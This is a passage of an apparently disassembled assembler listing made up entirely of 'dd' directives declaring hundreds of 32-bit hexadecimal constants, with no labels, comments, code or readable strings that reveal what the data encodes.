		dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
		dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
		dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
		dd 80792075h, 1757D054h, 11001993h, 0D2515303h,	0A04D14h
		dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
		dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
		dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h,	0C0223Dh
		dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
		dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h,	610D0705h
		dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
		dd 522228DCh, 0A11392F0h
		dd 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h,	0ADD73C84h
		dd 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h,	40B51F5Bh
		dd 792A4D6h, 2C037389h,	852E56DDh, 352DA0FCh, 6B6C1EE9h
		dd 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh
		dd 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h,	49AC5C90h
		dd 4021FD40h, 6C7002Ch,	2811D6D4h, 9B03CB42h, 22431AFDh
		dd 7AD998AAh, 4330093h,	3C60ABCh, 0C9009901h, 6F8B29DEh
		dd 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h
		dd 41243EF9h, 0D794E8h,	8DD38549h, 0E8CB3122h, 7B80BE1Eh
		dd 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah,	46FE2D42h
		dd 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h
		dd 80E7438h, 4254C730h,	17AF9770h, 3F59FA90h, 0EC00F7F0h
		dd 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h,	53A22F3Eh
		dd 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah,	1AA80796h
		dd 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh,	6570E776h
		dd 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h
		dd 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h, 55455900h
		dd 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h
		dd 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h,	7367650Eh
		dd 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h
		dd 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h
		dd 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h
		dd 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h,	6F3ED5EFh
		dd 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h,	0F7A0D81Eh
		dd 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h
		dd 107D865h, 0C7D8051h,	0BBF27F50h, 5AEB0039h, 1FE81A03h
		dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h
		dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h
		dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h,	16F2B8D8h
		dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h
		dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h
		dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h,	704CA3Eh
		dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h
		dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh
		dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h
		dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h
		dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h
		dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh
		dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh
		dd 190507Fh, 3300A0FCh,	13156A8h, 200BE5h, 5C15D524h, 6051F8C6h
		dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
		dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch,	57003F59h
		dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh,	503089D9h
		dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
		dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h,	4B011029h
		dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
		dd 9100187Ah, 235060Ch,	0E2A876h, 5A402D7Ch, 52643155h
		dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
		dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh,	14020800h
		dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
		dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah,	0D65048A4h
		dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h,	6774292Eh
		dd 32003BD9h, 1120C61h,	2036A5Bh, 0AB574555h, 946330C3h
		dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
		dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
		dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
		dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
		dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
		dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h,	0E7C0F8CDh
		dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h,	86957Eh
		dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh,	4280E2Eh
		dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
		dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
		dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
		dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h,	0CD770006h
		dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h,	0BEA09A95h
		dd 74EB0D3h, 3F8624FEh,	0E72230D2h, 420F01B7h, 56A57h
		dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
		dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
		dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
		dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
		dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h,	65AD7AAAh
		dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
		dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
		dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
		dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
		dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h,	8084B14Ah
		dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h,	0CAB803F9h
		dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
		dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
		dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh,	16EC89h
		dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
		dd 96C0A938h
		dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah
		dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch
		dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h
		dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h
		dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h,	791E3AFCh
		dd 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h
		dd 0FEF28Fh, 736B6FF2h,	8CAA5524h, 8E749001h, 5E9219A7h
		dd 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h
		dd 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h
		dd 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h
		dd 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh
		dd 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh
		dd 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h
		dd 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h
		dd 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh,	0C62D30h
		dd 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h
		dd 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h
		dd 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h,	4402652Ah
		dd 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh,	0B3262D45h
		dd 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h
		dd 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh
		dd 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h
		dd 8DFC5309h, 7D4EA48h,	5BC3048Ah, 212450DDh, 0D200AAB7h
		dd 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h,	3E988ACBh
		dd 802113h, 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh
		dd 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h
		dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch
		dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh
		dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh
		dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h
		dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h
		dd 5B301E21h, 63FC09Eh,	56846B4Ah, 0D3A38B2Ch, 0D044CF07h
		dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h
		dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h
		dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh,	0D748C0A4h
		dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h,	0A2D3D2E2h
		dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h
		dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah
		dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h,	758F9339h
		dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h
		dd 3465401h, 76007662h,	0E8028891h, 30D7B5Ah, 707E843Bh
		dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh
		dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh,	4DBEE269h
		dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h
		dd 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h
		dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h
		dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh
		dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h
		dd 0E1731E82h, 85CA3Bh,	54862F07h, 109E6AE7h, 37B47E01h
		dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h,	0BF8EC59h
		dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h
		dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h
		dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h
		dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h
		dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h
		dd 0E79117h, 324A8110h,	22C2098Fh, 0EFB8B000h, 0D6E22EFCh
		dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h
		dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh
		dd 16D1CD99h, 0CF27A9h,	0D3672D0Fh, 4B00246Ah, 0C73D9C15h
		dd 388712h, 0E1B5358Eh,	207B3AD8h, 3C5A101Ch, 0A14C2FCFh
		dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h
		dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh,	7E0007F8h
		dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh
		dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h,	7D2E40F1h
		dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h,	0DDCEC0ECh
		dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh,	487109h
		dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h,	3A430913h
		dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h,	1E3600F5h
		dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h
		dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh
		dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh,	0E106F0h
		dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h
		dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h
		dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h,	8C9C9ED0h
		dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h
		dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h
		dd 5FD5BD1h, 95796406h,	90740B9Dh, 11FEE7h, 2DAD3FB5h
		dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh
		dd 1354B0Bh, 9800FAC6h,	0C046D13h, 901C4E06h, 0A4AA0075h
		dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh
		dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h
		dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h,	0D10B1DACh
		dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h,	96554152h
		dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch
		dd 4E5142h, 0D55247C2h,	0DE9DA396h, 43DA4100h, 77A98F27h
		dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh,	13CA6Eh
		dd 588DBADh, 847D8351h,	76818700h, 0A19BCCB8h, 2D900089h
		dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh,	0C353064Bh
		dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h
		dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h
		dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h,	31382433h
		dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah
		dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh
		dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h
		dd 400D50Ch, 62BEE0DEh,	8153A0h, 438FE831h, 3325D16Bh
		dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh
		dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah,	7BA2EAh
		dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch
		dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h,	0C297BC0h
		dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h
		dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h
		dd 0EC99EA24h, 5FA858h,	264C4442h, 5B2DAF53h, 0E094D500h
		dd 3B1C98C4h, 74F9A0BEh
		dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah
		dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh,	81CC3A1h
		dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h
		dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h,	5F39DB31h
		dd 0D8E2B0h, 7E1DFD94h,	7CF60542h, 82000EE6h, 680AA21Ch
		dd 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh
		dd 0EE7717h, 910C1867h,	0C7D7C6B7h, 0AFC8A500h,	7F95A215h
		dd 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h
		dd 330A440Dh, 9B0C960h,	3B02010Bh, 67D1C50h, 49DB608Bh
		dd 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h
		dd 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h
		dd 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h
		dd 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h
		dd 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h
		dd 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah,	0FA092h
		dd 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h
		dd 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh
		dd 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h
		dd 7607B91h, 149500D7h,	0AAD504F0h, 0F7303Bh, 5BDE97D1h
		dd 107EB8Bh, 5DC9CAD4h,	0E8871067h, 0D50027E9h,	18D02325h
		dd 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h
		dd 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh
		dd 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h
		dd 871D79FAh, 54CF2088h, 803C004Ah, 638A551h, 58A2B891h
		dd 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah
		dd 772E6D41h, 706A6200h, 7899DF60h, 14510010h, 22836350h
		dd 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h
		dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh
		dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh
		dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h
		dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h
		dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h
		dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h
		dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch,	45B0711Ch
		dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh,	76CC6A4Fh
		dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h
		dd 0EA6F4363h, 581862h,	6C1C6847h, 77875166h, 31706B00h
		dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h
		dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh,	429E0078h
		dd 13048FEh, 6A0E654Bh,	0C7636961h, 0D3E128C0h,	87C421FBh
		dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h,	1447CA1Ch
		dd 3741150h, 61670046h,	60886376h, 8BA05677h, 6D000A62h
		dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh
		dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h
		dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh
		dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h
		dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h
		dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h
		dd 406A0B86h, 0BB505Ch,	44A19946h, 7D0D3951h, 14101E15h
		dd 67FC80C3h, 28B4C28h,	3D00F00h, 0C2203C50h, 17403AF6h
		dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h,	1D4775F7h
		dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h
		dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h,	2D46DD69h
		dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h,	14B8801Fh
		dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh,	71830E54h
		dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h,	1C8FD16Dh
		dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h
		dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh,	0D0FA00A4h
		dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h
		dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h,	8BA71D76h
		dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h
		dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h,	0AA830E12h
		dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h
		dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h
		dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh
		dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh
		dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h,	0C40C21CCh
		dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h
		dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh
		dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h
		dd 760F09F8h, 545DF0Ch,	0FB80EB0Fh, 2D6995h, 0E885D959h
		dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h
		dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh
		dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h
		dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh,	1B66A12h
		dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh,	0F4BA3437h
		dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h,	558BF1B8h
		dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h,	32FEF4h
		dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h,	14546C6h
		dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h,	259C7DDh
		dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh
		dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh,	15F4F48h
		dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h
		dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh
		dd 8053B84h, 12410C01h,	0E028C310h, 0F600D311h,	1CBA2F13h
		dd 3455251h, 87A2EBC6h,	0E4A0BFE5h, 0AC00F24Fh,	6C7E8086h
		dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah
		dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh,	0DDAEFC00h
		dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h,	0B45EBD03h
		dd 0D224BFh, 60923949h,	9F6BE41h, 32E6B07h, 9E30E4BCh
		dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h
		dd 6583F0h, 0B106FE3Bh,	76BE695Bh, 6EC0FA00h, 73BF1210h
		dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h
		dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h,	0EC0257EBh
		dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h,	837825E9h
		dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h
		dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h
		dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h
		dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh
		dd 30B3B00h, 24CF2BCAh,	0DF8A006Fh, 0AE4927Ch, 0A000275Fh
		dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h,	82920E00h
		dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h,	0D4DDC30Ch
		dd 80072089h, 1DC0267Bh
		dd 0B50098B7h, 437EE0h,	0F5AC921Bh, 0B0C1D73Bh,	450C532Ch
		dd 0EFC25000h, 437FC6h,	2856A9F9h, 8F7D0EEh, 0A8517A00h
		dd 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h,	3FE5F685h
		dd 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h,	8024683Eh
		dd 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h
